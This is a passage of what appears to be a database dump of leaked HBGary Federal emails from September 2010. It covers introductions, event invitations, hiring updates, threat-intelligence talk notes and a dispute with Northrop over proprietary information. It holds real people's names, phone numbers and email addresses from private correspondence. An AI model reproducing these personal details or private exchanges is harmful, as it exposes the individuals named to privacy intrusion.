for a week of vacation on Saturday but wanted to get a note out to see if we could get together the week of the 5th of Oct.\r\n\r\nAaron\r\n\r\nOn Sep 7, 2010, at 3:18 PM, Nathan Atherley wrote:\r\n\r\n> Aaron\r\n> \r\n> I had a very interesting conversation with Matt (cc\'d) this morning regarding what he and his company are doing.  Matt is CEO of a company called Strategic Social and in similar swim lanes to what I think you want to do as we previously discussed.  Matt is a former Army Ranger and I think you would get along.  You have similar passions.\r\n> \r\n> Matt\r\n> \r\n> Aaron is currently heading up a company called HBGary\'s federal business in Washington DC.  Aaron has a passion for social apps, iphone apps etc that have been used in areas of interest by the US Government.  We are working with Aaron and HBGary on one of our programs for Farallon Research.  BTW, thanks for taking the time this morning, it was a good and fun conversation.\r\n> \r\n> I believe you two have some common interests in these areas, and could benefit from a conversation.  I would be happy to facilitate a conference call, or we could all try and meet in the DC area.\r\n> \r\n> Nathan\r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal, LLC\r\n719.510.8478\r\n\r\n\r\n\r\n',6361,'aaron_hbgary_com/6361.html'),(12254,'2010-09-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009052.M637531P14101Q7109.eml','\"Karen Burke\" <karenmaryburke@yahoo.com>','Re: Podcast','Sure.Its a security podcast. &nbsp;The often talk about security products, capabilities. &nbsp;Often focus is on malware, exploits, security, forensics.Format is the first part of the show they interview/talk with the guest. &nbsp;The second half they just do a round table on the current news. &nbsp;In reality it was kind of a mish mosh but they do a pretty good job.AaronOn Sep 23, 2010, at 1:39 PM, Karen Burke wrote:HI Aaron, Can you tell me more about the podcast -&gt; what was the topic? Thanks, Karen&nbsp;--- On Wed, 9/22/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: PodcastTo: \"Penny Leavy\" &lt;penny@hbgary.com&gt;, \"Greg Hoglund\" &lt;greg@hbgary.com&gt;, \"Ted Vera\" &lt;ted@hbgary.com&gt;Cc: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Date: Wednesday, September 22, 2010, 7:31 PM\r\nHey guys,Just finished the Securabit podcast.&nbsp; They get about 8,000 downloads a month in itunes.&nbsp; It will be available in iTunes on Monday.&nbsp; I hit all the talking points between the two companies.Aaron BarrCEOHBGary Federal, LLC719.510.8478\r\n\r\n      \r\nAaron BarrCEOHBGary Federal, LLC719.510.8478\r\n\r\n',15775,'aaron_hbgary_com/15775.html'),(12255,'2010-09-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009056.M356395P14101Q7110.eml','\"Melanie Gamarra\" <melanie@executivebiz.com>','Re: Corporate Headshot','Hi Melanie,\r\n\r\nI was cleaning things up and realized I don\'t believe I replied to this.\r\n\r\nAttached is higher resolution headshot.\r\n\r\nAaron\r\n\r\n',6298,'aaron_hbgary_com/6298.html'),(12256,'2010-09-24','\"Masterson, Brian M (XETRON)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297009057.M319613P14101Q7112.eml','\"Aaron Barr\" <aaron@hbgary.com>','You around?','\r\n\r\n\r\n\r\n\r\nYou around?\r\n\r\n\r\n\r\n\r\nHow things going?&nbsp; If you have time, can we talk for a few?&nbsp; Do not say yes if it is at all an inconvenience.\r\n\r\nBrian\r\n\r\n\r\n\r\n\r\n',4534,'aaron_hbgary_com/4534.html'),(12257,'2010-09-24','\"AFCEA NOVA\" <peter.jones@afceanova.org>','/aaron@hbgary.com/new/1297009057.M594718P14101Q7113.eml','aaron@hbgary.com','Join the AFA for a Salute to the SAF/A6 Community on October 7th','\r\n\r\n  \r\n  \r\nHaving trouble viewing this email?\r\nClick here\r\n\r\n\r\n\r\n\r\n\r\n\r\n  \r\n    \r\n      \r\n    \r\n    \r\n      \r\n      \r\n      September\r\n24, 2010\r\n      \r\n      &nbsp;\r\n    \r\n    \r\n      \r\n      \r\n      We are pleased to invite\r\nAFCEA NOVA members and their colleagues to join the Air Force\r\nAssociation\'s D.W. Steele, Sr. Memorial Chapter in the annual&nbsp;Salute to Air Force A6.\r\n      The Salute will be held on Thursday, October 7th, from\r\n4:00 pm to 6:30 pm at Ruth’s Chris Steakhouse in Crystal\r\nCity, VA. You can register for the program at www.dwsteele.org/events/events.asp\r\n      Last year’s Salute to the men and women or the A6\r\ncommunity, led by Lt. Gen. William T. Lord, was attended by over 50 Air\r\nStaff seniors, staff officers and NCOs, and another 100 industry\r\npartners.\r\n      This year, as every year, AFA will honor the 2010 AFA A6\r\nAction Officers of the Year.&nbsp; In order to put on a first class\r\n“Salute” to our A6 brethren, we are asking our Industry Partners to\r\npurchase sets of four tickets for $600.&nbsp; Individual tickets\r\ncan be purchased for $200 each. &nbsp;\r\n      Tickets can be purchased at www.dwsteele.org,\r\nor via Tom Veltri at tveltri@federalbusinessgroup.com&nbsp;or\r\n571-243-4819. &nbsp;\r\n      To ensure your company’s recognition in A6’s program, we\r\nare asking for your response by Monday, 04 October 2010. If you are\r\npaying by check you do not have to wait for your company to process the\r\ncheck. You can register now and bring your check to the event or send\r\nit to Tom.\r\n      Thanks again for your continued support for this\r\nprogram. If you have any questions, please give me a call.&nbsp;\r\nAnd please pass the attached invite to anyone who may be interested in\r\nattending.&nbsp;I look forward to seeing you at the “Salute”.\r\n      Regards\r\n      \r\nPeter E Jones\r\nPresident, DW Steele Chapter, AFA\r\n240.994.0332\r\n      peter.jones@thejonesfamily.org\r\n      \r\n      \r\n      \r\n      \r\n    \r\n    \r\n      \r\n    \r\n  \r\n\r\n\r\n\r\n\r\n\r\nForward email\r\n\r\n\r\n\r\nThis email was sent to aaron@hbgary.com by peter.jones@afceanova.org.\r\nUpdate Profile/Email Address | Instant removal with SafeUnsubscribe&trade; | Privacy Policy.\r\n\r\nEmail Marketing by\r\n\r\n\r\nAFCEA NOVA | 400 North Washington St | Ste 300 | Alexandria | VA | 22314\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14090,'aaron_hbgary_com/14090.html'),(12258,'2010-09-24','\"Eifert, Eric J.\" <Eric.Eifert@ManTech.com>','/aaron@hbgary.com/new/1297009057.M859858P14101Q7114.eml','\"Aaron Barr\" <aaron@hbgary.com>','Accepted: Invitation: Social Media Discussions @ Tue Oct 5 1pm - 2:30pm (eric.eifert@mantech.com)','',2009,'aaron_hbgary_com/2009.html'),(12259,'2010-09-24','\"Melanie Gamarra\" <melanie@executivebiz.com>','/aaron@hbgary.com/new/1297009057.M92504P14101Q7111.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Corporate Headshot','This works great. Thank You! Have a good weekend!\r\n\r\n\r\nOn 9/23/10 11:38 PM, \"Aaron Barr\"  wrote:\r\n\r\n> Hi Melanie,\r\n> \r\n> I was cleaning things up and realized I don\'t believe I replied to this.\r\n> \r\n> Attached is higher resolution headshot.\r\n> \r\n> Aaron\r\n> \r\n> \r\n> On Sep 10, 2010, at 2:33 PM, Melanie Gamarra wrote:\r\n> \r\n>> Hello my name is Melanie,\r\n>> I am the graphic designer here at ExecutiveBiz. I understand you are a 4x24\r\n>> member. I would like to request a corporate headshot that will appear in our\r\n>> dinner booklets/bios and future publications. If you have any questions as to\r\n>> picture quality please do not hesitate to ask. I have attached an example of\r\n>> a HiRes corporate headshot. The one picture that we do have on file becomes\r\n>> unclear when blown up. Thank You!\r\n>> -\r\n>> Melanie Gamarra\r\n>> graphic designer\r\n>> \r\n>> [cid:3366974008_1467737]\r\n>> \r\n>> www.executivemosaic.com\r\n>> \r\n>> 8230 Old Courthouse Road\r\n>> Suite 460\r\n>> Vienna, VA 22182\r\n>> 703.226.7009\r\n>> \r\n> \r\n\r\n<\r\nMelanie Gamarra\r\ngraphic designer\r\n\r\n\r\n                   \r\nwww.executivemosaic.com\r\n\r\n8230 Old Courthouse Road\r\nSuite 460\r\nVienna, VA 22182\r\n703.226.7009\r\n\r\n',10133,'aaron_hbgary_com/10133.html'),(12260,'2010-09-24','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','/aaron@hbgary.com/new/1297009058.M331757P14101Q7116.eml','\"Aaron Barr\" <aaron@hbgary.com>','Status','\r\n\r\n\r\n\r\n\r\nStatus \r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\nHope you are having a great time!&nbsp; We interviewed Tawny, Jeremiah and Matt.&nbsp; We are working up offer letters for them.&nbsp; Also touched base with Eric, proposed he be the onsite section manager.&nbsp; I am steadily working my way out of a job.&nbsp; \r\n\r\n\r\n\r\nI need you to think of any projects the Three Musketeers can do for you. I have tons of work for them but want to satisfy your needs as well.&nbsp; I suspect we won&#8217;t have finalized plans until the second week in October as each of them want to give two weeks notice. \r\n\r\nSee it&#8217;s easy when you have a management staff that trusts your decisions.&nbsp; Let me know your thoughts.&nbsp; I think this is great news. \r\n\r\nThanks,\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Chris\r\n__________________________________________________\r\n&nbsp; \r\n |Chris Clair | Program Manager | 703.449.3964 \r\n\r\n\r\n\r\n\r\n\r\n\r\n',5307,'aaron_hbgary_com/5307.html'),(12261,'2010-09-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009058.M548707P14101Q7117.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Status','Sent from my iPhoneBegin forwarded message:From: &quot;Clair, Chris (TASC)&quot; &lt;CHRISTOPHER.CLAIR@tasc.com&gt;\r\nDate: September 24, 2010 10:43:36 AM EDTTo: &quot;Aaron Barr&quot; &lt;aaron@hbgary.com&gt;Subject: Status \r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\nHope you are having a great time!  We interviewed Tawny, Jeremiah and Matt.  We are working up offer letters for them.  Also touched base with Eric, proposed he be the onsite section manager.  I am steadily working my way out of a job.  \r\n\r\n\r\n\r\n\r\nI need you to think of any projects the Three Musketeers can do for you. I have tons of work for them but want to satisfy your needs as well.  I suspect we won’t have finalized plans until the second week in October as each of them want to give two weeks notice. \r\n\r\n\r\nSee it’s easy when you have a management staff that trusts your decisions.  Let me know your thoughts.  I think this is great news. \r\n\r\n\r\nThanks,\r\n\r\n      Chris\r\n__________________________________________________\r\n\r\n  \r\n |Chris Clair | Program Manager | 703.449.3964 \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1379,'aaron_hbgary_com/1379.html'),(12262,'2010-09-24','\"Greg Hoglund\" <greg@gunwalegames.com>','/aaron@hbgary.com/new/1297009058.M751554P14101Q7118.eml','aaron@hbgary.com,\"John Ransom\" <john@gunwalegames.com>','added basic hero walkthrough w/ help popups',' \r\nAaron, John,\r\n \r\nCheck out the user stories document (the first section above the working mark).  I basically walk through the hero&#39;s starting experience assuming popup help dialogs.\r\n \r\nThis covers:\r\n- crafting &amp; item consumption/creation\r\n- queued crafting\r\n- earned acheivement\r\n- buy upgrade at the vendor\r\n- slot upgrade into building, unlock recipes\r\n- basic quest\r\n- melee combat\r\n- hero ends with fully upgraded forge building\r\n \r\nstill needs work:\r\n- &#39;instant&#39; selling to game vendor\r\n- putting items up for sale in the market\r\n- buying items from the market\r\n- upgrading the forge to level 2\r\n- obtaining more recipes &amp; upgrades\r\n \r\n \r\n-Greg\r\n \r\n',5639,'aaron_hbgary_com/5639.html'),(12263,'2010-09-24','arc@westfields.net','/aaron@hbgary.com/new/1297009058.M86075P14101Q7115.eml','federal@hbgary.com','GED Sole Source Business Opportunity Posting','\r\nThe NRO/GED Directorate is pleased to announce the release of a Sole Source Business Opportunity on the classified ARC.  It will remain visible for five calendar days. The Contract Type is expected to be: FFP. The Effort Type is Support Services (O&M).\r\n\r\n\r\nSITE VIEWING INFORMATION\r\n\r\nThe site is on the Classified ARC accessible  on CWAN/GWAN networks using http://arc.npa.gov/ and on Intelink using http://arc.nro.ic.gov/.  Please find the situation below that fits you and see the associated information.\r\n\r\nI Have Access to the Classified network, and I Have an Account on that system\'s ARC website.\r\nOn CWAN/GWAN go to http://arc.npa.gov/ or on Intelink go to http://arc.nro.ic.gov/, log in using your Classified ARC username and password, click on Business Opportunities to view the latest Sole Source Opportunites\r\n\r\nI Have Access to the Classified network (CWAN/GWAN or Intelink), But I Do NOT Have and Have Never Had an INDIVIDUAL Account on that system\'s ARC website.\r\nIf you have never had an individual account on the Classified ARC, go to http://arc.npa.gov/ (on CWAN/GWAN) or http://arc.nro.ic.gov/ (Intelink), click on \"Create New Account\" to make an account for yourself, and then follow the site access directions given in number one above.  You should use this new account that you create from this point onward whenever accessing the Classified ARC for any purpose.\r\n\r\nI Have Access to the Classified ARC and At One Time, I Had an INDIVIDUAL Account on that system\'s ARC Website, But I No Longer Have That Account Information.				\r\nIf you once had an account on the Classified ARC, please try using the \"Forgot Your Password\" link on the ARC homepage to reset your password. If your Classified email address has changed since your last login, please email (preferred) the web development team at dev@ticom.npa.gov or call secure 853-4620 for help in resetting your password.\r\n\r\nI Have the Appropriate Clearances, But I Do NOT Have Access to CWAN.\r\nFor TS//SI/TK cleared contractors without access to CWAN, the Acquisition web page information can be viewed by scheduling an appointment at any of the three ACE Regional Centers.  Contact information for scheduling an appointment and passing clearances can be found on the Internet (World Wide Web) at https://arc.westfields.net/ by clicking on CONTACTS -> FACILITY CONTACTS, then open the \"ARC Reading Room Access Process\" document for detailed instructions.Prior to scheduling an appointment, you\'re clearance information must be on file at the facility you plan to visit. Please have your cognizant security office pass your TS clearance with required SI/TK accesses, via a standard visit certification message to the Facility Security Officer of the facility you plan to visit.\r\n\r\nI DO NOT Have the Appropriate Clearances to Access CWAN.\r\nObtaining the correct clearances is a difficult task.  You either need to have a unique skill that our organization needs and it cannot find elsewhere, or you need to team with a company that has the correct clearances. Unfortunately, there is no easy answer.  Make sure that your company is entered in our Contractor Registry.  This is made visible on the Internet, but also on our classified network for cleared contractors to see.  It allows contractors with clearances to view your company\'s information, and it might be that a cleared company would then contact you for teaming purposes.\r\n\r\nTo register your company with the Contractor Registry, go to https://arc.westfields.net/, and click on the  \"Register Company\" link.\r\n\r\nTechnical Questions?\r\ndev@ticom.com\r\n\r\nRegards,\r\n\r\nARC Webmaster\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',12178,'aaron_hbgary_com/12178.html'),(12264,'2010-09-24','\"richcoleman1\" <richcoleman1@gmail.com>','/aaron@hbgary.com/new/1297009058.M979815P14101Q7119.eml','\"richcoleman1\" <richcoleman1@gmail.com>','invitation to Cyber Fajitas with LTG Johannes Kert, (Estonian Army, ret.), Thursday, September 30, 6:00pm-8:30pm','\r\n\r\n\r\n\r\n\r\n\r\nDear \r\nCyber Security Colleague:&nbsp; \r\n&nbsp;\r\nPlease join us for the next Cyber Fajitas &amp; Margaritas dinner \r\non&nbsp;Thursday, September&nbsp;30, 6pm - \r\n8pm.\r\n&nbsp;\r\nOur \r\nspeaker will be&nbsp;LTG Johannes Kert (Estonian \r\nArmy, ret.).&nbsp; General Kert is a recognized&nbsp;leader in Cyber security, \r\nco-founder of the Cooperative Cyber Defence Centre of Excellence, Tallinn, \r\nEstonia, and Advisor to the Estonian MOD.&nbsp; General Kert will discuss his \r\nperspectives on Cyber Security in Estonia and \r\nEurope.\r\nThe&nbsp;event is being held at \r\nTORTIALLA COAST, Rio Room (downstairs), 400 1st \r\nStreet Southeast, Washington, DC (one block from Capitol South \r\nMetro). &nbsp;This will be a no \r\nsponsor dinner and price is $45 for dinner \r\nand margaritas for first hour.&nbsp;&nbsp;Second hour \r\nis cash bar. Please RSVP no later than&nbsp;Tuesday, September 28, seats are \r\nlimited.Best regards,Rich \r\nColemanChairman\r\nCyber Fajitas &amp; MargaritasEmail:&nbsp; \r\nrichcoleman1@gmail.comPhone:&nbsp; \r\n703-855-3917\r\n',9219,'aaron_hbgary_com/9219.html'),(12265,'2010-09-24','\"Aaron Zollman\" <azollman@palantir.com>','/aaron@hbgary.com/new/1297009059.M199609P14101Q7120.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>','here are our talk notes','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nTalk stuff:\r\n\r\n&nbsp;&nbsp; Context\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; IT is intelligence problem\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; importance of threat intelligence in incident\r\nresponse\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; classic indicators now useless\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &quot;protection&quot; no longer viable\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; need for knowledge management &amp; visualization\r\n\r\n&nbsp;&nbsp; SOC workflows are...\r\n\r\n&nbsp;&nbsp; Introduce TMC / Fingerprint / HBGary\r\n\r\n&nbsp;\r\n\r\nTop-down style:\r\n\r\n&nbsp;&nbsp; find cluster\r\n\r\n&nbsp;&nbsp; identify most interesting features w/i cluster\r\n\r\n&nbsp;\r\n\r\n&nbsp;&nbsp; Bring in TMC reports on those malware.\r\n\r\n&nbsp;&nbsp; Find commonality\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp; does this indicate specific libraries?\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp; does this indicate specific developers?\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp; &quot;&quot; countries?\r\n\r\n&nbsp;&nbsp; social media space:\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp; what\'s out on the web?\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp; bring in using clipper or google helper\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp; now searchable\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp; quicksearch -&gt; &quot;reporting&quot; (\r\n\r\n&nbsp;\r\n\r\nBottom-up analysis:\r\n\r\n&nbsp;&nbsp;&nbsp; incident responders:\r\n\r\n&nbsp;&nbsp;&nbsp; have a new sample.\r\n\r\n&nbsp;&nbsp;&nbsp; Seen anything like this Before?\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; does this fall in context with a threat?\r\n\r\n&nbsp;&nbsp;&nbsp; were those associated with any threats?\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; - can do a simple link by! - advanced searcharound\r\n\r\n&nbsp;\r\n\r\nConclusions - SOC workflows more robust. USable by analysts\r\nw/ no software dev\r\n\r\nexperience. Focuses on threat, not vehicles of attack.\r\n\r\nTech notes - discuss in sidebar\r\n\r\n&nbsp;\r\n\r\n&nbsp;&nbsp; \r\n\r\n&nbsp;\r\n\r\n_________________________________________________________\r\nAaron Zollman\r\nPalantir Technologies | Embedded Analyst\r\nazollman@palantir.com | 202-684-8066\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15616,'aaron_hbgary_com/15616.html'),(12266,'2010-09-24','\"Warden, Kathy J (IS)\" <Kathy.Warden@ngc.com>','/aaron@hbgary.com/new/1297009059.M462642P14101Q7121.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: EXTERNAL:Update','\r\nAaron,\r\n\r\nThanks for the note.  I trust that you and my current employees are all\r\nbeing mindful of your commitments not to discuss NG proprietary\r\ninformation or use NG proprietary information to support HB Gary\r\nbusiness, but your reassurance of that is appreciated.  \r\n\r\nI would be happy to meet with you to go over HB Gary capabilities when\r\nwe can find the time - it has been extremely busy and no indication of\r\nslowing down!\r\n \r\nRegards,\r\nKathy\r\n\r\n\r\n \r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, September 15, 2010 10:46 PM\r\nTo: Warden, Kathy J (IS)\r\nSubject: EXTERNAL:Update\r\n\r\nHi Kathy,\r\n\r\nI hope all is going well, I imagine it is to a degree but like everyone\r\nelse you are probably a bit frustrated by the lack of movement or the\r\nmovement to the right of many cyber programs.  I am still questioning\r\nwhether or not we are as a whole going to be able to make significant\r\nprogress.  Anyway...\r\n\r\nI just wanted to send you a quick note.  As we both know there is an\r\nimpending RFP for Romas, and I think you know I am planning to go after\r\nthat work.  I am a small business and of the work in government for\r\ncyber, I know this work the best, so makes sense.  I want to assure you\r\nthat even though I still have close relationships with members of your\r\nteam,  I am in no way trying to leverage those relationships to glean\r\ninformation of a programatic or proprietary nature.  And your team is in\r\nno way providing me with information of a programatic or proprietary\r\nnature.  That is not to say that in some specific cases I would not\r\nattempt to recruit key individuals for risk mitigation and capabilities,\r\nyou and I are both quite aware that is how you play this game.\r\n\r\n\r\nWhat concerns me is the immediate management and their continued\r\nvilification of me and Ted.  As I mentioned to you nearly a year ago\r\nnow, I made some missteps but my intentions were for the betterment of\r\nthe customers mission, Northrops program, and my future.  I didn\'t and\r\nstill do not believe that what I was doing was in conflict with\r\nbenefiting all parties.  And as you are probably aware this bears out in\r\nthe current stresses and desires of capabilities of that customer.  (I\r\nwant to make sure you know this does not come from your team but I have\r\nmy badge back and make periodic visits with that customer).  My approach\r\nin some form or fashion was the right approach and I was trying to make\r\nsure we delivered it and not someone else.  Those were my intentions any\r\nways.\r\n\r\nThe reason I am bringing this up is every time I come out to Colorado\r\nand have lunch with people that I hired, grew professionally, and\r\ndeveloped personal friendships with, some of the leadership locally come\r\ndown on them for meeting with us.  I believe this is completely\r\nunprofessional and borderline harassment.  The current immediate\r\nleadership need to get past whatever animosity or chip that remains with\r\nthem, as their approach is severely effecting many peoples moral.\r\nPeople are being criticized for having friendships with us, so much so\r\nthat other people are afraid to talk with us for fear of the criticism.\r\nThats just not right.  There is friendship and business and some need to\r\nbe able to separate the two and better understand the nature of\r\ncompetitive business.\r\n\r\n--------\r\n\r\nOn a separate note I would very much like to get together some time that\r\nyour schedule permits and discuss with you some of our capabilities and\r\ndirection related to Threat Intelligence and continuous incident\r\nresponse.  Looking through somewhat different glasses I have had an\r\nopportunity to refine my approach to cyber and would like to share it\r\nwith you.  Recently I have had some very positive discussions with Dr.\r\nPorter at IARPA, US-CERT, and FBI Cyber Division regarding both our\r\ncapabilities and approach to the problem.  In short, I am now a believer\r\nin attribution.\r\n\r\nSincerely,\r\nAaron\r\n',426,'aaron_hbgary_com/426.html'),(12267,'2010-09-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009059.M689963P14101Q7122.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: EXTERNAL:Update','Sent from my iPhoneBegin forwarded message:From: &quot;Warden, Kathy J (IS)&quot; &lt;Kathy.Warden@ngc.com&gt;\r\nDate: September 24, 2010 12:28:58 PM EDTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: RE: EXTERNAL:Update\r\nAaron,Thanks for the note.  I trust that you and my current employees are allbeing mindful of your commitments not to discuss NG proprietary\r\ninformation or use NG proprietary information to support HB Garybusiness, but your reassurance of that is appreciated.  I would be happy to meet with you to go over HB Gary capabilities when\r\nwe can find the time - it has been extremely busy and no indication ofslowing down!Regards,Kathy\r\n-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com] Sent: Wednesday, September 15, 2010 10:46 PMTo: Warden, Kathy J (IS)\r\nSubject: EXTERNAL:UpdateHi Kathy,I hope all is going well, I imagine it is to a degree but like everyoneelse you are probably a bit frustrated by the lack of movement or the\r\nmovement to the right of many cyber programs.  I am still questioningwhether or not we are as 